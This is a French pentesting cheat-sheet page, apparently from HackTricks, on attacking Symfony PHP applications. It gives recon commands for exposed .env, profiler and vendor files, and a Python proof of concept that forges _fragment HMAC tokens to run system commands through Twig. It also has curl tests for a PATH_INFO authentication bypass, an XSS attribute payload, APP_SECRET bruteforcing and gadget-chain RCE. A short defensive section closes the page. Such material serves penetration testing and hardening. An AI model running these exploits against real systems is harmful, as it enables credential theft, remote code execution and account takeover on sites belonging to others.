Symfony

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Symfony est l’un des frameworks PHP les plus utilisés et apparaît régulièrement dans les évaluations de cibles d’entreprise, e-commerce et CMS (Drupal, Shopware, Ibexa, OroCRM … intègrent tous des composants Symfony). Cette page rassemble des conseils offensifs, des mauvaises configurations courantes et des vulnérabilités récentes que vous devriez avoir sur votre liste de contrôle lorsque vous découvrez une application Symfony.

Note historique : Une grande partie de l’écosystème fonctionne encore sur la branche 5.4 LTS (fin de vie novembre 2025). Symfony 7.4 est devenu le nouvel LTS en novembre 2025 et recevra des correctifs de sécurité jusqu’en novembre 2029. Vérifiez toujours le niveau de patch exact car de nombreux avis de 2024‑2026 n’ont été corrigés que dans des micro-releases.


Recon & Énumération

Identification

  • En-têtes de réponse HTTP : X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link ou cookies commençant par sf_redirect, sf_session, MOCKSESSID.
  • Source code leaks (composer.json, composer.lock, /vendor/…) révèlent souvent la version exacte :
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Routes publiques qui n’existent que sur Symfony :
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (pretty error pages)
  • /app_dev.php, /config.php, /config_dev.php (pre-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith ou ffuf/feroxbuster wordlists: symfony.txt → recherchez /_fragment, /_profiler, .env, .htaccess.

Fichiers & endpoints intéressants

PathWhy it matters
/.env, /.env.local, /.env.prodFrequently mis-deployed → leaks APP_SECRET, DB creds, SMTP, AWS keys
/.git, .svn, .hgSource disclosure → identifiants + logique métier
/var/log/*.log, /log/dev.logMauvaise configuration du web-root expose des stack-traces
/_profilerHistorique complet des requêtes, configuration, service container, APP_SECRET (≤ 3.4)
/_fragmentPoint d’entrée utilisé par ESI/HInclude. Abus possible une fois que vous connaissez APP_SECRET
/vendor/phpunit/phpunit/phpunitPHPUnit RCE si accessible (CVE-2017-9841)
/index.php/_error/{code}Empreinte & parfois leak des traces d’exception

Vulnérabilités à fort impact

1. Divulgation d’APP_SECRET ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 à l’origine, mais apparaît encore sur des cibles modernes lorsque le debug est laissé activé ou que .env est exposé.
  • Une fois que vous connaissez l’APP_SECRET de 32 caractères, fabriquez un token HMAC et abusez du contrôleur interne render() pour exécuter du Twig arbitraire :
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Excellent write-up & script d’exploitation : blog Ambionics (lié dans les Références).

2. Bypass d’auth via PATH_INFO – CVE-2025-64500 (HttpFoundation)

  • Affecte les versions antérieures à 5.4.50, 6.4.29 et 7.3.7. La normalisation du chemin pouvait supprimer le / initial, cassant les règles d’accès qui supposent /admin etc.
  • Test rapide : curl -H 'PATH_INFO: admin/secret' https://target/index.php → si cela atteint des routes admin sans authentification, vous avez trouvé la faille.
  • Corrigez en mettant à jour symfony/http-foundation ou le framework complet au niveau de patch corrigé.

3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)

  • Affecte les versions antérieures à 5.4.51, 6.4.33, 7.3.11, 7.4.5 et 8.0.5 sur Windows lorsque PHP est exécuté depuis MSYS2 (Git-Bash, mingw). Process ne quote pas = ce qui conduit à des chemins corrompus ; des commandes destructrices (rmdir, del) peuvent cibler des répertoires non voulus.
  • Si vous pouvez uploader un script PHP ou influencer Composer/CLI helpers qui appellent Process, fabriquez des arguments contenant = (ex. E:/=tmp/delete) pour provoquer la réécriture de chemins.

4. Runtime env/argv injection – CVE-2024-50340 (Runtime)

  • Quand register_argv_argc=On et en utilisant des runtimes non-SAPI, des query strings forgées pouvaient basculer APP_ENV/APP_DEBUG via le parsing d’argv. Corrigé en 5.4.46/6.4.14/7.1.7.
  • Cherchez /?--env=prod ou similaire accepté dans les logs.

5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)

  • Des caractères spéciaux dans l’URI n’étaient pas validés comme les navigateurs le font, permettant des redirections vers des domaines contrôlés par l’attaquant. Corrigé en 5.4.46/6.4.14/7.1.7.

6. Symfony UX attribute injection – CVE-2025-47946

  • symfony/ux-twig-component & symfony/ux-live-component < 2.25.1 rendent {{ attributes }} sans échappement → injection d’attributs / XSS. Si l’appli permet aux utilisateurs de définir des attributs de composants (CMS admin, templates d’email), vous pouvez enchaîner vers une injection de script.
  • Mettez à jour les deux packages vers 2.25.1+. En guise d’exploit manuel, placez du JS dans une valeur d’attribut passée à un composant personnalisé et déclenchez le rendu.

7. Windows Process Hijack – CVE-2024-51736 (Process)

  • Le composant Process cherchait le répertoire courant avant PATH sur Windows. Un attaquant pouvant uploader tar.exe, cmd.exe, etc. dans un web-root inscriptible et déclencher Process (ex. extraction de fichiers, génération PDF) obtient une exécution de commandes.
  • Corrigé en 5.4.50, 6.4.14, 7.1.7.

8. Session-Fixation – CVE-2023-46733

  • L’authentication guard réutilisait un identifiant de session existant après le login. Si un attaquant fixe le cookie avant que la victime ne s’authentifie, il prend le contrôle du compte après la connexion.

9. Twig sandbox XSS – CVE-2023-46734

  • Dans les applications exposant des templates contrôlés par l’utilisateur (CMS admin, email builder), le filtre nl2br pouvait être abusé pour bypasser le sandbox et injecter du JS.

10. Chaînes de gadgets Symfony 1 (toujours trouvées dans des applis legacy)

  • phpggc symfony/1 system id produit un payload Phar qui déclenche une RCE lorsqu’un unserialize() est effectué sur des classes telles que sfNamespacedParameterHolder. Vérifiez les endpoints d’upload de fichiers et les wrappers phar://.

PHP - Deserialization + Autoload Classes


Cheat-Sheet d’exploitation

Calculer le token HMAC pour /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce d’un APP_SECRET faible

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE via Symfony Console exposée

Si bin/console est accessible via php-fpm ou par upload direct en CLI:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Utilisez deserialization gadgets dans le cache directory ou écrivez un Twig template malveillant qui sera exécuté lors de la prochaine requête.

Tester rapidement le contournement PATH_INFO (CVE-2025-64500)

curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.

Injection d’attributs Spray UX (CVE-2025-47946)

{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />

Si la sortie rendue affiche l’attribut sans échappement, XSS réussit. Appliquez le correctif vers 2.25.1+.


Notes défensives

  1. Ne déployez jamais debug (APP_ENV=dev, APP_DEBUG=1) en production ; bloquez /app_dev.php, /_profiler, /_wdt dans la config du serveur web.
  2. Stockez les secrets dans des variables d’environnement ou vault/secrets.local.php, jamais dans des fichiers accessibles depuis le document-root.
  3. Mettez en place une gestion des correctifs – abonnez-vous aux avis de sécurité Symfony et maintenez au minimum le niveau de patch LTS (5.4.x jusqu’en nov. 2025, 6.4 jusqu’en nov. 2027, 7.4 jusqu’en nov. 2029).
  4. Si vous êtes sous Windows, mettez à jour immédiatement pour atténuer CVE-2024-51736 & CVE-2026-24739 ou ajoutez un open_basedir/disable_functions en défense en profondeur.

Outils offensifs utiles

  • ambionics/symfony-exploits – secret-fragment RCE, découverte des routes du debugger.
  • phpggc – Ready-made gadget chains for Symfony 1 & 2.
  • sf-encoder – petit utilitaire pour calculer le HMAC _fragment (implementation Go).

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks